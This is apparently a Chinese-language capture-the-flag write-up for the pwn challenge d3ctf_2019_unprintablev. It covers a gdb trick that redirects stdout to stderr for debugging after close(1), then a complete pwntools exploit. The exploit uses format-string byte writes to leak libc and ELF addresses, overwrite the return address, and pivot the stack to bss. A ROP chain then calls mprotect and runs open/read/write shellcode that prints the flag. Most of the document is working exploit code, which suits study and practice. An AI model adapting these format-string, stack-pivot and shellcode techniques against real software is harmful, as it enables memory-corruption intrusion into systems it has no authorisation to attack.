以d3ctf_2019_unprintablev这个为例
这个关闭了1,虽然解法用爆破可以做,但是调试起来很麻烦,我是这样解决的
因为stdout是全局变量,所以会在bss里面定义stdout
因为close(1)的原理就是关闭了1号文件描述符,所以我们只需要把stdout的文件描述符改成2就好
def debug():
gdbscript = """
b vuln
c
set *(char *)(*(unsigned long int *)$rebase(0x202020)+0x70)=2
"""
gdb.attach(io, gdbscript=gdbscript)
在debug里面加入gdb scruot
$rebase(0x202020)就是保存stdout的地址,这样就可以正常输出了
来看看效果
def debug():
#这里我就断在printf就好
gdbscript = """
b *$rebase(0xA20)
c
set *(char *)(*(unsigned long int *)$rebase(0x202020)+0x70)=2
"""
gdb.attach(io, gdbscript=gdbscript)
ru(b"gift: ")
stack_addr = int(r(14), 16)
debug()
s("%p")
it()
可以看到有正常回显,我们就有回显的调试payload了,这个就很舒服
这里一定要把debug()放在所有需要回显的前面,但这里比如说我第一次泄露libc,第二次泄露elf,但是我不想每次都进去以后输入c
我们可以逐步更新debug
def debug():
gdbscript = """
b *$rebase(0xA20)
c
set *(char *)(*(unsigned long int *)$rebase(0x202020)+0x70)=2
c
"""
gdb.attach(io, gdbscript=gdbscript)
ru(b"gift: ")
stack_addr = int(r(14), 16)
ru(b"test!\n")
debug()
# 有回显之后发送
s("%15$p")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 240
s("%14$p")
it()
这里我第一步libc_base已经确定了需要调试第二部泄露elf,我们就在set后面再加1个c,进来就只会断在14$p了,其余同理
例题
d3ctf_2019_unprintablev
这里我是这样做的,首先我写把stdout修改之后可以有回显的paylaod写好
后来经过测试发现就是修改stdout为stderr之后只有一次可以回显的机会,不过问题不大,我们就在这一次机会里面泄露libc和elf
payload
泄露libc
s("%15$p+%14$p")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 231
ru(b"+")
elf_base = int(r(14), 16) - elf.sym["__libc_csu_init"]
修改ret_addr为leave,ret
leave_ret = 0x9F8 + elf_base
ret_addr = stack_addr + 0x30
while leave_ret != 0:
s(f"%{ret_addr&0xff}c%6$hhn")
sleep(0.5)
s(f"%{leave_ret&0xff}c%10$hhn")
sleep(0.5)
ret_addr += 1
leave_ret = leave_ret >> 8
修改rbp为我们的bss进行栈迁移
buf_addr = 0x202060 + elf_base
rbp_addr = stack_addr + 0x28
while buf_addr != 0:
s(f"%{rbp_addr&0xff}c%6$hhn")
sleep(0.5)
s(f"%{buf_addr &0xff}c%10$hhn")
sleep(0.5)
rbp_addr += 1
buf_addr = buf_addr >> 8
修复rbp
这里由于我们修改rbp是利用old rbp,所以需要修复old rbp让他指向我们伪造的rbp ret
rbp_addr = stack_addr + 0x28
s(f"%{rbp_addr&0xff}c%6$hhn")
shellcode
这里我是利用mprotect来做的
shellcode = f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rax,{convert_str_asmencode("././flag")};
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov dl,0x40;
mov rsi,rsp
mov al,0;
syscall;
xor rdi,rdi;
mov al,1;
syscall;
"""
mprotect_addr = libc_base + libc.sym["mprotect"]
pop_rdi_ret = 0xBC3 + elf_base
pop_rsi_ret = 0x23E6A + libc_base
pop_rdx_ret = 0x1B96 + libc_base
buf_addr = 0x202060 + elf_base
payload = (
b"d^3CTF\0\0"
+ p64(pop_rdx_ret)
+ p64(7)
+ p64(pop_rsi_ret)
+ p64(0x1000)
+ p64(pop_rdi_ret)
+ p64(buf_addr & 0xFFFFFFFFFFFFF000)
+ p64(mprotect_addr)
+ p64(buf_addr + 0x48)
+ asm(shellcode)
)
s(payload)
it()
这是我本地调试的大概结构
def debug():
gdbscript = """
b *$rebase(0xA20)
b *$rebase(0xB57)
c
set *(char *)(*(unsigned long int *)$rebase(0x202020)+0x70)=2
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
"""
gdb.attach(io, gdbscript=gdbscript)
ru(b"gift: ")
stack_addr = int(r(14), 16)
ru(b"test!\n")
debug()
# 泄露libc
s("%15$p+%14$p")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 231
ru(b"+")
elf_base = int(r(14), 16) - elf.sym["__libc_csu_init"]
覆盖stdout为stderr
当我们后面shellcode调试好了之后就是一个简单的修改stdout
ru(b"gift: ")
stack_addr = int(r(14), 16)
ru(b"test!\n")
s(f"%{(stack_addr&0xff)}c%6$hhn")
sleep(0.5)
s(f"%{0x20}c%10$hhn")#把原来buf的后两位改成0x20就是stdout的地址
sleep(0.5)
s(f"%{0x1680}c%9$hn")#这里因为需要改后3位,但不能超过0x2000,所以我就改成这个
最后的payload
#!/usr/bin/python3
# -*- coding: utf-8 -*-
# from LibcSearcher import LibcSearcheronline
from pwn import *
it = lambda: io.interactive()
ru = lambda x: io.recvuntil(x)
rud = lambda x: io.recvuntil(x, drop=True)
r = lambda x: io.recv(x)
rl = lambda: io.recvline()
rld = lambda: io.recvline(keepends=False)
s = lambda x: io.send(x)
sa = lambda x, y: io.sendafter(x, y)
sl = lambda x: io.sendline(x)
sla = lambda x, y: io.sendlineafter(x, y)
elf_path = "./d3ctf_2019_unprintablev"
elf = ELF(elf_path)
context(arch=elf.arch, log_level="debug")
libc = elf.libc
if "2.23" in libc.path:
one_gadget = [0xF1147, 0x45216, 0x4526A, 0xF02A4]
elif "2.27" in libc.path:
one_gadget = [0x4F2C5, 0x4F322, 0x10A38C]
else:
one_gadget = []
if len(sys.argv) > 1:
remote_ip = "node4.buuoj.cn"
remote_port = 25356
io = remote(remote_ip, remote_port)
else:
io = process(elf_path)
def debug():
gdbscript = """
b *$rebase(0xA20)
b *$rebase(0xB57)
c
set *(char *)(*(unsigned long int *)$rebase(0x202020)+0x70)=2
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
c
"""
gdb.attach(io, gdbscript=gdbscript)
def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out
ru(b"gift: ")
stack_addr = int(r(14), 16)
ru(b"test!\n")
s(f"%{(stack_addr&0xff)}c%6$hhn")
sleep(0.5)
s(f"%{0x20}c%10$hhn")
sleep(0.5)
s(f"%{0x1680}c%9$hn")
# debug()
# 泄露libc
s("%15$p+%14$p")
libc_base = int(r(14), 16) - libc.sym["__libc_start_main"] - 231
ru(b"+")
elf_base = int(r(14), 16) - elf.sym["__libc_csu_init"]
# 修改ret_addr为leave,ret
leave_ret = 0x9F8 + elf_base
ret_addr = stack_addr + 0x30
while leave_ret != 0:
s(f"%{ret_addr&0xff}c%6$hhn")
sleep(0.5)
s(f"%{leave_ret&0xff}c%10$hhn")
sleep(0.5)
ret_addr += 1
leave_ret = leave_ret >> 8
buf_addr = 0x202060 + elf_base
rbp_addr = stack_addr + 0x28
while buf_addr != 0:
s(f"%{rbp_addr&0xff}c%6$hhn")
sleep(0.5)
s(f"%{buf_addr &0xff}c%10$hhn")
sleep(0.5)
rbp_addr += 1
buf_addr = buf_addr >> 8
# 修复rbp
rbp_addr = stack_addr + 0x28
s(f"%{rbp_addr&0xff}c%6$hhn")
shellcode = f"""
xor rsi,rsi;
xor rdx,rdx;
push rdx;
mov rax,{convert_str_asmencode("././flag")};
push rax;
mov rdi,rsp;
xor rax,rax;
mov al,2;
syscall;
mov rdi,rax;
mov dl,0x40;
mov rsi,rsp
mov al,0;
syscall;
xor rdi,rdi;
mov al,1;
syscall;
"""
mprotect_addr = libc_base + libc.sym["mprotect"]
pop_rdi_ret = 0xBC3 + elf_base
pop_rsi_ret = 0x23E6A + libc_base
pop_rdx_ret = 0x1B96 + libc_base
buf_addr = 0x202060 + elf_base
payload = (
b"d^3CTF\0\0"
+ p64(pop_rdx_ret)
+ p64(7)
+ p64(pop_rsi_ret)
+ p64(0x1000)
+ p64(pop_rdi_ret)
+ p64(buf_addr & 0xFFFFFFFFFFFFF000)
+ p64(mprotect_addr)
+ p64(buf_addr + 0x48)
+ asm(shellcode)
)
s(payload)
it()